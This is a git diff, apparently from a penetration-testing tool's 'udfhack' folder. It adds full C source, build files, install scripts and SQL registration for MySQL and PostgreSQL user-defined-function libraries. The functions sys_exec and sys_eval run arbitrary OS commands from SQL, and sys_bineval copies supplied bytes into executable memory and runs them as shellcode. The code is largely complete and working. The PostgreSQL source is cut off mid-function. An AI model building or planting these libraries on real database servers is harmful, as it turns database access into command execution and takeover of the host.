CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
CREATE OR REPLACE FUNCTION sys_fileread(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_fileread' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
9
extra/udfhack/linux/64/lib_mysqludf_sys/Makefile
Normal file
9
extra/udfhack/linux/64/lib_mysqludf_sys/Makefile
Normal file
@@ -0,0 +1,9 @@
|
||||
# For MySQL < 5.1
|
||||
LIBDIR=/usr/lib
|
||||
# For MySQL >= 5.1
|
||||
#LIBDIR=/usr/lib/mysql/plugin
|
||||
|
||||
install:
|
||||
gcc-4.3 -Wall -I/usr/include/mysql -Os -shared lib_mysqludf_sys.c -fPIC -o lib_mysqludf_sys.so
|
||||
strip -sx lib_mysqludf_sys.so
|
||||
cp -f lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so
|
||||
47
extra/udfhack/linux/64/lib_mysqludf_sys/install.sh
Executable file
47
extra/udfhack/linux/64/lib_mysqludf_sys/install.sh
Executable file
@@ -0,0 +1,47 @@
|
||||
#!/bin/bash
|
||||
# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
# Copyright (C) 2007 Roland Bouman
|
||||
# Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G.
|
||||
# web: http://www.mysqludf.org/
|
||||
# email: mysqludfs@gmail.com, bernardo.damele@gmail.com
|
||||
#
|
||||
# This library is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU Lesser General Public
|
||||
# License as published by the Free Software Foundation; either
|
||||
# version 2.1 of the License, or (at your option) any later version.
|
||||
#
|
||||
# This library is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public
|
||||
# License along with this library; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
# Adapt the following settings to your environment
|
||||
USER="root"
|
||||
PORT="3306"
|
||||
|
||||
echo "Compiling the MySQL UDF"
|
||||
make
|
||||
|
||||
if test $? -ne 0; then
|
||||
echo "ERROR: You need libmysqlclient development software installed"
|
||||
echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
|
||||
echo "apt-get install libmysqlclient-dev"
|
||||
exit 1
|
||||
else
|
||||
echo "MySQL UDF compiled successfully"
|
||||
fi
|
||||
|
||||
echo -e "\nPlease provide your MySQL root password"
|
||||
|
||||
mysql -h 127.0.0.1 -P ${PORT} -u ${USER} -p mysql < lib_mysqludf_sys.sql
|
||||
|
||||
if test $? -ne 0; then
|
||||
echo "ERROR: unable to install the UDF"
|
||||
exit 1
|
||||
else
|
||||
echo "MySQL UDF installed successfully"
|
||||
fi
|
||||
567
extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.c
Normal file
567
extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.c
Normal file
@@ -0,0 +1,567 @@
|
||||
/*
|
||||
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
Copyright (C) 2007 Roland Bouman
|
||||
Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G.
|
||||
web: http://www.mysqludf.org/
|
||||
email: mysqludfs@gmail.com, bernardo.damele@gmail.com
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
#define DLLEXP __declspec(dllexport)
|
||||
#else
|
||||
#define DLLEXP
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#ifdef STANDARD
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <time.h>
|
||||
#ifdef __WIN__
|
||||
typedef unsigned __int64 ulonglong;
|
||||
typedef __int64 longlong;
|
||||
#else
|
||||
typedef unsigned long long ulonglong;
|
||||
typedef long long longlong;
|
||||
#endif /*__WIN__*/
|
||||
#else
|
||||
#include <my_global.h>
|
||||
#include <my_sys.h>
|
||||
#endif
|
||||
#include <mysql.h>
|
||||
#include <m_ctype.h>
|
||||
#include <m_string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include <ctype.h>
|
||||
|
||||
#ifdef HAVE_DLOPEN
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define LIBVERSION "lib_mysqludf_sys version 0.0.4"
|
||||
|
||||
#ifdef __WIN__
|
||||
#define SETENV(name,value) SetEnvironmentVariable(name,value);
|
||||
#else
|
||||
#define SETENV(name,value) setenv(name,value,1);
|
||||
#endif
|
||||
|
||||
DLLEXP
|
||||
my_bool lib_mysqludf_sys_info_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void lib_mysqludf_sys_info_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
char* lib_mysqludf_sys_info(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_get
|
||||
*
|
||||
* Gets the value of the specified environment variable.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_get_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_get_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
char* sys_get(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_set
|
||||
*
|
||||
* Sets the value of the environment variables.
|
||||
* This function accepts a set of name/value pairs
|
||||
* which are then set as environment variables.
|
||||
* Use sys_get to retrieve the value of such a variable
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_set_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_set_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
long long sys_set(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_exec
|
||||
*
|
||||
* executes the argument commandstring and returns its exit status.
|
||||
* Beware that this can be a security hazard.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_exec_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_exec_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
my_ulonglong sys_exec(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_eval
|
||||
*
|
||||
* executes the argument commandstring and returns its standard output.
|
||||
* Beware that this can be a security hazard.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_eval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_eval_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
char* sys_eval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_bineval
|
||||
*
|
||||
* executes bynary opcodes.
|
||||
* Beware that this can be a security hazard.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_bineval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_bineval_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
int sys_bineval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
);
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#endif
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
/**
|
||||
* lib_mysqludf_sys_info
|
||||
*/
|
||||
my_bool lib_mysqludf_sys_info_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
my_bool status;
|
||||
if(args->arg_count!=0){
|
||||
strcpy(
|
||||
message
|
||||
, "No arguments allowed (udf: lib_mysqludf_sys_info)"
|
||||
);
|
||||
status = 1;
|
||||
} else {
|
||||
status = 0;
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
void lib_mysqludf_sys_info_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* lib_mysqludf_sys_info(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
strcpy(result,LIBVERSION);
|
||||
*length = strlen(LIBVERSION);
|
||||
return result;
|
||||
}
|
||||
|
||||
my_bool sys_get_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
if(args->arg_count==1
|
||||
&& args->arg_type[0]==STRING_RESULT){
|
||||
initid->maybe_null = 1;
|
||||
return 0;
|
||||
} else {
|
||||
strcpy(
|
||||
message
|
||||
, "Expected exactly one string type parameter"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_get_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* sys_get(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
char* value = getenv(args->args[0]);
|
||||
if(value == NULL){
|
||||
*is_null = 1;
|
||||
} else {
|
||||
*length = strlen(value);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
my_bool sys_set_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
if(args->arg_count!=2){
|
||||
strcpy(
|
||||
message
|
||||
, "Expected exactly two arguments"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
if(args->arg_type[0]!=STRING_RESULT){
|
||||
strcpy(
|
||||
message
|
||||
, "Expected string type for name parameter"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
args->arg_type[1]=STRING_RESULT;
|
||||
if((initid->ptr=malloc(
|
||||
args->lengths[0]
|
||||
+ 1
|
||||
+ args->lengths[1]
|
||||
+ 1
|
||||
))==NULL){
|
||||
strcpy(
|
||||
message
|
||||
, "Could not allocate memory"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
void sys_set_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
if (initid->ptr!=NULL){
|
||||
free(initid->ptr);
|
||||
}
|
||||
}
|
||||
|
||||
long long sys_set(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
char *name = initid->ptr;
|
||||
char *value = name + args->lengths[0] + 1;
|
||||
memcpy(
|
||||
name
|
||||
, args->args[0]
|
||||
, args->lengths[0]
|
||||
);
|
||||
*(name + args->lengths[0]) = '\0';
|
||||
memcpy(
|
||||
value
|
||||
, args->args[1]
|
||||
, args->lengths[1]
|
||||
);
|
||||
*(value + args->lengths[1]) = '\0';
|
||||
return SETENV(name,value);
|
||||
}
|
||||
|
||||
my_bool sys_exec_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
unsigned int i=0;
|
||||
if(args->arg_count == 1
|
||||
&& args->arg_type[i]==STRING_RESULT){
|
||||
return 0;
|
||||
} else {
|
||||
strcpy(
|
||||
message
|
||||
, "Expected exactly one string type parameter"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_exec_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
my_ulonglong sys_exec(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
return system(args->args[0]);
|
||||
}
|
||||
|
||||
my_bool sys_eval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
unsigned int i=0;
|
||||
if(args->arg_count == 1
|
||||
&& args->arg_type[i]==STRING_RESULT){
|
||||
return 0;
|
||||
} else {
|
||||
strcpy(
|
||||
message
|
||||
, "Expected exactly one string type parameter"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_eval_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* sys_eval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
FILE *pipe;
|
||||
char *line;
|
||||
unsigned long outlen, linelen;
|
||||
|
||||
line = (char *)malloc(1024);
|
||||
result = (char *)malloc(1);
|
||||
outlen = 0;
|
||||
|
||||
result[0] = (char)0;
|
||||
|
||||
pipe = popen(args->args[0], "r");
|
||||
|
||||
while (fgets(line, sizeof(line), pipe) != NULL) {
|
||||
linelen = strlen(line);
|
||||
result = (char *)realloc(result, outlen + linelen);
|
||||
strncpy(result + outlen, line, linelen);
|
||||
outlen = outlen + linelen;
|
||||
}
|
||||
|
||||
pclose(pipe);
|
||||
|
||||
if (!(*result) || result == NULL) {
|
||||
*is_null = 1;
|
||||
} else {
|
||||
result[outlen-1] = 0x00;
|
||||
*length = strlen(result);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
my_bool sys_bineval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
){
|
||||
return 0;
|
||||
}
|
||||
|
||||
void sys_bineval_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
|
||||
}
|
||||
|
||||
int sys_bineval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
){
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
len = (size_t)strlen(args->args[0]);
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
strncpy(code, args->args[0], len);
|
||||
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
return 1;
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
return 1;
|
||||
|
||||
strncpy((char *)addr, args->args[0], len);
|
||||
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#if defined(_WIN64)
|
||||
void __exec_payload(LPVOID);
|
||||
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__exec_payload(lpParameter);
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* HAVE_DLOPEN */
|
||||
35
extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.sql
Normal file
35
extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.sql
Normal file
@@ -0,0 +1,35 @@
|
||||
/*
|
||||
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
Copyright (C) 2007 Roland Bouman
|
||||
Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G.
|
||||
web: http://www.mysqludf.org/
|
||||
email: roland.bouman@gmail.com, bernardo.damele@gmail.com
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
|
||||
DROP FUNCTION IF EXISTS sys_get;
|
||||
DROP FUNCTION IF EXISTS sys_set;
|
||||
DROP FUNCTION IF EXISTS sys_exec;
|
||||
DROP FUNCTION IF EXISTS sys_eval;
|
||||
DROP FUNCTION IF EXISTS sys_bineval;
|
||||
|
||||
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||
16
extra/udfhack/linux/64/lib_postgresqludf_sys/Makefile
Normal file
16
extra/udfhack/linux/64/lib_postgresqludf_sys/Makefile
Normal file
@@ -0,0 +1,16 @@
|
||||
LIBDIR=/tmp
|
||||
|
||||
8.4:
|
||||
gcc-4.2 -Wall -I/usr/include/postgresql/8.4/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so
|
||||
strip -sx lib_postgresqludf_sys.so
|
||||
cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
|
||||
|
||||
8.3:
|
||||
gcc-4.2 -Wall -I/usr/include/postgresql/8.3/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so
|
||||
strip -sx lib_postgresqludf_sys.so
|
||||
cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
|
||||
|
||||
8.2:
|
||||
gcc-4.2 -Wall -I/usr/include/postgresql/8.2/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so
|
||||
strip -sx lib_postgresqludf_sys.so
|
||||
cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
|
||||
59
extra/udfhack/linux/64/lib_postgresqludf_sys/install.sh
Executable file
59
extra/udfhack/linux/64/lib_postgresqludf_sys/install.sh
Executable file
@@ -0,0 +1,59 @@
|
||||
#!/bin/bash
|
||||
# lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
# Copyright (C) 2009-2010 Bernardo Damele A. G.
|
||||
# web: http://bernardodamele.blogspot.com/
|
||||
# email: bernardo.damele@gmail.com
|
||||
#
|
||||
# This library is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU Lesser General Public
|
||||
# License as published by the Free Software Foundation; either
|
||||
# version 2.1 of the License, or (at your option) any later version.
|
||||
#
|
||||
# This library is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public
|
||||
# License along with this library; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
# Adapt the following settings to your environment
|
||||
USER="postgres"
|
||||
PORT="5434"
|
||||
VERSION="8.4"
|
||||
#PORT="5433"
|
||||
#VERSION="8.3"
|
||||
#PORT="5432"
|
||||
#VERSION="8.2"
|
||||
|
||||
echo "Compiling the PostgreSQL UDF"
|
||||
make ${VERSION}
|
||||
|
||||
if test $? -ne 0; then
|
||||
echo "ERROR: You need postgresql-server development software installed"
|
||||
echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
|
||||
|
||||
if test "${VERSION}" == "8.2"; then
|
||||
echo "apt-get install postgresql-server-dev-8.2"
|
||||
elif test "${VERSION}" == "8.3"; then
|
||||
echo "apt-get install postgresql-server-dev-8.3"
|
||||
elif test "${VERSION}" == "8.4"; then
|
||||
echo "apt-get install postgresql-server-dev-8.4"
|
||||
fi
|
||||
|
||||
exit 1
|
||||
else
|
||||
echo "PostgreSQL UDF compiled successfully"
|
||||
fi
|
||||
|
||||
echo -e "\nPlease provide your PostgreSQL 'postgres' user's password"
|
||||
|
||||
psql -h 127.0.0.1 -p ${PORT} -U ${USER} -q template1 < lib_postgresqludf_sys.sql
|
||||
|
||||
if test $? -ne 0; then
|
||||
echo "ERROR: unable to install the UDF"
|
||||
exit 1
|
||||
else
|
||||
echo "PostgreSQL UDF installed successfully"
|
||||
fi
|
||||
@@ -0,0 +1,277 @@
|
||||
/*
|
||||
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
Copyright (C) 2009-2010 Bernardo Damele A. G.
|
||||
web: http://bernardodamele.blogspot.com/
|
||||
email: bernardo.damele@gmail.com
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
#define _USE_32BIT_TIME_T
|
||||
#define DLLEXP __declspec(dllexport)
|
||||
#define BUILDING_DLL 1
|
||||
#else
|
||||
#define DLLEXP
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#include <postgres.h>
|
||||
#include <fmgr.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <ctype.h>
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#endif
|
||||
|
||||
#ifdef PG_MODULE_MAGIC
|
||||
PG_MODULE_MAGIC;
|
||||
#endif
|
||||
|
||||
char *text_ptr_to_char_ptr(text *arg)
|
||||
{
|
||||
char *retVal;
|
||||
int arg_size = VARSIZE(arg) - VARHDRSZ;
|
||||
retVal = (char *)malloc(arg_size + 1);
|
||||
|
||||
memcpy(retVal, VARDATA(arg), arg_size);
|
||||
retVal[arg_size] = '\0';
|
||||
|
||||
return retVal;
|
||||
}
|
||||
|
||||
text *chr_ptr_to_text_ptr(char *arg)
|
||||
{
|
||||
text *retVal;
|
||||
|
||||
retVal = (text *)malloc(VARHDRSZ + strlen(arg));
|
||||
#ifdef SET_VARSIZE
|
||||
SET_VARSIZE(retVal, VARHDRSZ + strlen(arg));
|
||||
#else
|
||||
VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ;
|
||||
#endif
|
||||
memcpy(VARDATA(retVal), arg, strlen(arg));
|
||||
|
||||
return retVal;
|
||||
}
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_exec);
|
||||
#ifdef PGDLLIMPORT
|
||||
extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
|
||||
#else
|
||||
extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
|
||||
#endif
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
int32 result = 0;
|
||||
char *command;
|
||||
|
||||
command = text_ptr_to_char_ptr(argv0);
|
||||
|
||||
/*
|
||||
Only if you want to log
|
||||
elog(NOTICE, "Command execution: %s", command);
|
||||
*/
|
||||
|
||||
result = system(command);
|
||||
free(command);
|
||||
|
||||
PG_FREE_IF_COPY(argv0, 0);
|
||||
PG_RETURN_INT32(result);
|
||||
}
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_eval);
|
||||
#ifdef PGDLLIMPORT
|
||||
extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
||||
#else
|
||||
extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
||||
#endif
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
text *result_text;
|
||||
char *command;
|
||||
char *result;
|
||||
FILE *pipe;
|
||||
char *line;
|
||||
int32 outlen, linelen;
|
||||
|
||||
command = text_ptr_to_char_ptr(argv0);
|
||||
|
||||
/*
|
||||
Only if you want to log
|
||||
elog(NOTICE, "Command evaluated: %s", command);
|
||||
*/
|
||||
|
||||
line = (char *)malloc(1024);
|
||||
result = (char *)malloc(1);
|
||||
outlen = 0;
|
||||
|
||||
result[0] = (char)0;
|
||||
|
||||
pipe = popen(command, "r");
|
||||
|
||||
while (fgets(line, sizeof(line), pipe) != NULL) {
|
||||
linelen = strlen(line);
|
||||
result = (char *)realloc(result, outlen + linelen);
|
||||
strncpy(result + outlen, line, linelen);
|
||||
outlen = outlen + linelen;
|
||||
}
|
||||
|
||||
pclose(pipe);
|
||||
|
||||
if (*result) {
|
||||
result[outlen-1] = 0x00;
|
||||
}
|
||||
|
||||
result_text = chr_ptr_to_text_ptr(result);
|
||||
|
||||
PG_RETURN_POINTER(result_text);
|
||||
}
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_bineval);
|
||||
#ifdef PGDLLIMPORT
|
||||
extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
||||
#else
|
||||
extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
||||
#endif
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
